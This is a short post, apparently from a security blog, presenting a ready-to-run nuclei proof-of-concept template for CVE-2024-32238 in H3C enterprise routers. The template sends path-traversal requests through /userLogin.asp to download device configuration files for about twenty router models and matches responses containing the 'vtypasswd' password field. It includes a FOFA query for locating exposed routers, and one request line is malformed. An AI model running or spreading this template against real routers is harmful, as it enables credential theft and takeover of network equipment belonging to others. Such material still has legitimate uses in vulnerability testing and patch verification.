H3C路由器userLogin.asp存在密码信息泄漏漏洞(CVE-2024-32238)【漏洞复现|附nuclei-POC】

id: H3C-route-userlogin_asp-passwd-leakinfo:  name: H3C路由器userLogin.asp信息泄漏漏洞(CVE-2024-32238)  author: kingkong  severity: high  metadata:    fofa-query: app="H3C-Ent-Router"http:  - raw:      - |        GET /userLogin.asp/../actionpolicy_status/../ER8300G2.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../M60.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../GR8300.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../GR5200.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../GR3200.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../GR2200.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER8300G2.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER6300G2.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER5200G2.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER5200.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER5100.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER3260G2.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER3260.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER3200G2.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER3200.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER3108GW.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER3108G.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER3100G2.cfgHTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER3100.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0      - |        GET /userLogin.asp/../actionpolicy_status/../ER2200G2.cfg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0    matchers-condition: OR    matchers:      - type: dsl        dsl:              - 'contains(body_1,"vtypasswd")'              - 'contains(body_2,"vtypasswd")'              - 'contains(body_3,"vtypasswd")'              - 'contains(body_4,"vtypasswd")'              - 'contains(body_5,"vtypasswd")'              - 'contains(body_6,"vtypasswd")'              - 'contains(body_7,"vtypasswd")'              - 'contains(body_8,"vtypasswd")'              - 'contains(body_9,"vtypasswd")'              - 'contains(body_10,"vtypasswd")'              - 'contains(body_11,"vtypasswd")'              - 'contains(body_12,"vtypasswd")'              - 'contains(body_13,"vtypasswd")'              - 'contains(body_14,"vtypasswd")'              - 'contains(body_15,"vtypasswd")'              - 'contains(body_16,"vtypasswd")'              - 'contains(body_17,"vtypasswd")'              - 'contains(body_18,"vtypasswd")'              - 'contains(body_19,"vtypasswd")'              - 'contains(body_20,"vtypasswd")'              - 'contains(body_21,"vtypasswd")'